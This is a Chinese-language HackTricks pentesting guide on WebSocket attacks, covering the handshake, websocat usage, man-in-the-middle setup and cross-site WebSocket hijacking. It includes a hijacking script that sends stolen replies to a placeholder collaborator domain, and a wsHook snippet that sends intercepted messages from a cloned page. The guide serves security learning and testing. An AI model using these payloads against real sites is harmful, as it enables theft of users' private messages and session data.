mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 21:24:06 +00:00
181 lines
12 KiB
Markdown
181 lines
12 KiB
Markdown
# WebSocket 攻击
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **宣传你的公司** 吗?或者你想要获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||
|
||
</details>
|
||
|
||
## 什么是 WebSockets
|
||
|
||
WebSocket 连接是通过 **HTTP** 初始化的,通常是 **长期存在** 的。消息可以在 **任何时间的任何方向上发送**,并且不具有事务性质。连接通常会保持打开和空闲状态,直到客户端或服务器准备发送消息为止。\
|
||
WebSocket 在需要 **低延迟或服务器发起的消息** 的情况下特别有用,例如实时的金融数据源。
|
||
|
||
### 如何建立 WebSocket 连接?
|
||
|
||
(这里你将找到一个摘要,但关于如何创建 WebSocket 连接的 **更详细指南** 可以在 [**这里**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) 找到)。\
|
||
WebSocket 连接通常使用客户端 JavaScript 来创建,如下所示:
|
||
```javascript
|
||
var ws = new WebSocket("wss://normal-website.com/ws");
|
||
```
|
||
**`wss`**协议通过加密的**TLS**连接建立WebSocket,而**`ws`**协议使用未加密的连接。
|
||
|
||
为了建立连接,浏览器和服务器通过HTTP进行WebSocket握手。浏览器发出的WebSocket握手请求如下所示:
|
||
```javascript
|
||
GET /chat HTTP/1.1
|
||
Host: normal-website.com
|
||
Sec-WebSocket-Version: 13
|
||
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
|
||
Connection: keep-alive, Upgrade
|
||
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
||
Upgrade: websocket
|
||
```
|
||
如果服务器接受连接,它会返回类似以下的WebSocket握手响应:
|
||
```javascript
|
||
HTTP/1.1 101 Switching Protocols
|
||
Connection: Upgrade
|
||
Upgrade: websocket
|
||
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||
```
|
||
此时,网络连接保持打开状态,可以用于在两个方向上发送WebSocket消息。
|
||
|
||
**注意**
|
||
|
||
值得注意的是WebSocket握手消息的几个特点:
|
||
|
||
* 请求和响应中的**`Connection`**和**`Upgrade`**头部指示这是一个WebSocket握手。
|
||
* **`Sec-WebSocket-Version`**请求头部指定客户端希望使用的WebSocket协议版本。通常为`13`。
|
||
* **`Sec-WebSocket-Key`**请求头部包含一个Base64编码的随机值,每次握手请求都应该随机生成。
|
||
* **`Sec-WebSocket-Accept`**响应头部包含在`Sec-WebSocket-Key`请求头部中提交的值的哈希,与协议规范中定义的特定字符串连接在一起。这样做是为了防止由于配置错误的服务器或缓存代理而导致的误导性响应。
|
||
|
||
**`Sec-WebSocket-Key`**头部包含一个随机值,以防止缓存代理产生错误,并且**不用于身份验证或会话处理**(_它不是CSRF令牌_)。
|
||
|
||
### Linux控制台
|
||
|
||
您可以使用`websocat`与WebSocket建立原始连接。
|
||
```bash
|
||
websocat --insecure wss://10.10.10.10:8000 -v
|
||
```
|
||
或者创建一个websocat服务器:
|
||
```bash
|
||
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||
```
|
||
### 中间人攻击 WebSocket 连接
|
||
|
||
如果你发现客户端正在通过当前的本地网络连接到一个 **HTTP WebSocket**,你可以尝试使用 [ARP 欺骗攻击](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) 在客户端和服务器之间进行中间人攻击。\
|
||
一旦客户端尝试连接到你,你可以使用以下方法:
|
||
```bash
|
||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||
```
|
||
### Websockets枚举
|
||
|
||
您可以使用**工具**[**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS)来自动发现、指纹识别和搜索websockets中已知的**漏洞**。
|
||
|
||
### Websocket调试工具
|
||
|
||
* **Burp Suite**支持对websockets通信进行中间人攻击,方式与对常规HTTP通信的处理方式非常相似。
|
||
* [**socketsleuth**](https://github.com/snyk/socketsleuth)**Burp Suite扩展**可以让您更好地管理Burp中的Websocket通信,包括获取**历史记录**、设置**拦截规则**、使用**匹配和替换**规则,以及使用**Intruder**和**AutoRepeater**。
|
||
* [**WSSiP**](https://github.com/nccgroup/wssip)**:WebSocket/Socket.io代理**的缩写,这个使用Node.js编写的工具提供了一个用户界面,用于**捕获、拦截、发送自定义**消息,并查看客户端和服务器之间的所有WebSocket和Socket.IO通信。
|
||
* [**wsrepl**](https://github.com/doyensec/wsrepl)是一个专为渗透测试而设计的**交互式websocket REPL**。它提供了一个界面,用于观察**传入的websocket消息和发送新的消息**,并提供了一个易于使用的框架来**自动化**这种通信。
|
||
* [**https://websocketking.com/**](https://websocketking.com/)是一个使用**websockets**与其他网站进行通信的**网站**。
|
||
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket)除了其他类型的通信/协议外,它还提供了一个使用**websockets**与其他网站进行通信的**网站**。
|
||
|
||
## Websocket实验室
|
||
|
||
在[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course)中,您可以找到一个使用websockets启动网站的代码,并在[**此文章**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/)中找到解释。
|
||
|
||
## 跨站WebSocket劫持(CSWSH)
|
||
|
||
也称为_跨源WebSocket劫持_。\
|
||
它是在WebSocket握手中进行的[**跨站请求伪造(CSRF)**](csrf-cross-site-request-forgery.md)。
|
||
|
||
当**WebSocket握手**请求仅依赖于**HTTP cookie**进行会话处理,并且不包含任何CSRF令牌或其他不可预测的值时,就会出现这种情况。\
|
||
攻击者可以在自己的域上创建一个**恶意网页**,与易受攻击的应用程序建立**跨站WebSocket**连接。应用程序将在受害用户与应用程序的会话上下文中处理该连接。
|
||
|
||
### 简单攻击
|
||
|
||
请注意,在**建立**websocket连接时,**cookie**会被**发送**到服务器。服务器可能会使用它来根据发送的cookie**关联**每个**特定的用户**与他的**websocket会话**。
|
||
|
||
然后,例如,如果**websocket服务器**在发送了一个带有“**READY**”的消息后,将返回用户的对话**历史记录**,那么通过建立连接的**简单XSS攻击**(**cookie**将被**自动发送**以授权受害用户),发送“**READY**”将能够**检索**对话的历史记录。
|
||
```markup
|
||
<script>
|
||
websocket = new WebSocket('wss://your-websocket-URL')
|
||
websocket.onopen = start
|
||
websocket.onmessage = handleReply
|
||
function start(event) {
|
||
websocket.send("READY"); //Send the message to retreive confidential information
|
||
}
|
||
function handleReply(event) {
|
||
//Exfiltrate the confidential information to attackers server
|
||
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||
}
|
||
</script>
|
||
```
|
||
### 跨域 + 不同子域的Cookie
|
||
|
||
在这篇博文[https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/)中,攻击者成功在与Web套接字通信发生的域的**子域**中**执行任意JavaScript代码**。由于是**子域**,**Cookie**被**发送**,而由于**Web套接字未正确检查来源**,因此可以与其进行通信并**窃取其中的令牌**。
|
||
|
||
### 窃取用户数据
|
||
|
||
复制您想要冒充的Web应用程序(例如.html文件),并在进行Web套接字通信的脚本中添加以下代码:
|
||
```javascript
|
||
//This is the script tag to load the websocket hooker
|
||
<script src='wsHook.js'></script>
|
||
|
||
//These are the functions that are gonig to be executed before a message
|
||
//is sent by the client or received from the server
|
||
//These code must be between some <script> tags or inside a .js file
|
||
wsHook.before = function(data, url) {
|
||
var xhttp = new XMLHttpRequest();
|
||
xhttp.open("GET", "client_msg?m="+data, true);
|
||
xhttp.send();
|
||
}
|
||
wsHook.after = function(messageEvent, url, wsObject) {
|
||
var xhttp = new XMLHttpRequest();
|
||
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
|
||
xhttp.send();
|
||
return messageEvent;
|
||
}
|
||
```
|
||
现在从[https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook)下载`wsHook.js`文件,并将其保存在与网页文件相同的文件夹中。\
|
||
暴露Web应用程序并使用户连接到它,您将能够通过websocket窃取发送和接收的消息:
|
||
```javascript
|
||
sudo python3 -m http.server 80
|
||
```
|
||
## 竞争条件
|
||
|
||
WebSockets中的竞争条件也是一个问题,[查看此信息以了解更多](race-condition.md#rc-in-websockets)。
|
||
|
||
## 其他漏洞
|
||
|
||
由于WebSockets是一种将数据发送到服务器端和客户端的机制,根据服务器和客户端处理信息的方式,WebSockets可以被用来利用其他几种漏洞,如XSS、SQLi或使用来自WebSockets的用户输入的任何其他常见Web漏洞。
|
||
|
||
## WebSocket劫持
|
||
|
||
此漏洞可以让您绕过反向代理的限制,使其相信已建立了WebSocket通信(即使事实并非如此)。这可以让攻击者访问隐藏的端点。有关更多信息,请查看以下页面:
|
||
|
||
{% content-ref url="h2c-smuggling.md" %}
|
||
[h2c-smuggling.md](h2c-smuggling.md)
|
||
{% endcontent-ref %}
|
||
|
||
## 参考资料
|
||
|
||
{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 您在**网络安全公司**工作吗?您想在HackTricks中**宣传您的公司**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||
|
||
</details>
|